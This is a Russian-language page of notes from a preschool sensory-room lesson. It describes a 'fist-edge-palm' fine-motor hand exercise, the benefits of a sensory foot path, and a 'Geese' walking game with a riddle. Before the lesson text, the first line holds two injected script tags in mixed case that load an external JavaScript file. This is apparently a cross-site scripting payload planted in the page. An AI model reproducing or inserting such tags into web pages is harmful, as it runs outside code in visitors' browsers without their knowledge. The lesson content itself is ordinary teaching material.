<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

27.11.2017

Фрагменты занятия в сенсорной комнате:

 

 

 Упражнение

для развития мелкой моторики рук «Кулак-ребро-ладонь».

          Ребёнку показывают три положения руки

на плоскости пола, последовательно сменяющих друг друга. Ладонь на плоскости,

ладонь, сжатая в кулак, ладонь ребром на плоскости пола, распрямлённая ладонь

на плоскости пола. Ребёнок выполняет упражнение вместе с педагогом, затем по памяти

(8-10 повторений). Упражнение выполняется сначала правой рукой, потом левой,

затем двумя руками вместе.

 

  

Использование  детской сенсорной

дорожки на занятиях способствует:

·       

Профилактике

и коррекции плоскостопия;

·       

Совершенствованию

зрительно-моторной координации;

·       

Формированию

умения выполнять задания на пространственное перемещение;

·       

Развитию

тактильных ощущений и представлений.

 

Упражнение на сенсорной дорожке «Гуси».

(Для детей среднего дошкольного возраста).

          Взрослый загадывает детям загадку:

 

Красные лапки,

Щиплет за пятки,

Беги без

оглядки.   (Гусь).

 

          После того как дети отгадают загадку,

педагог предлагает им превратиться в гусей и пройти по волшебной дорожке -

сенсорной дорожке. Движение выполняется поточным способом, изображая гусиный

шаг. Игра повторяется несколько раз.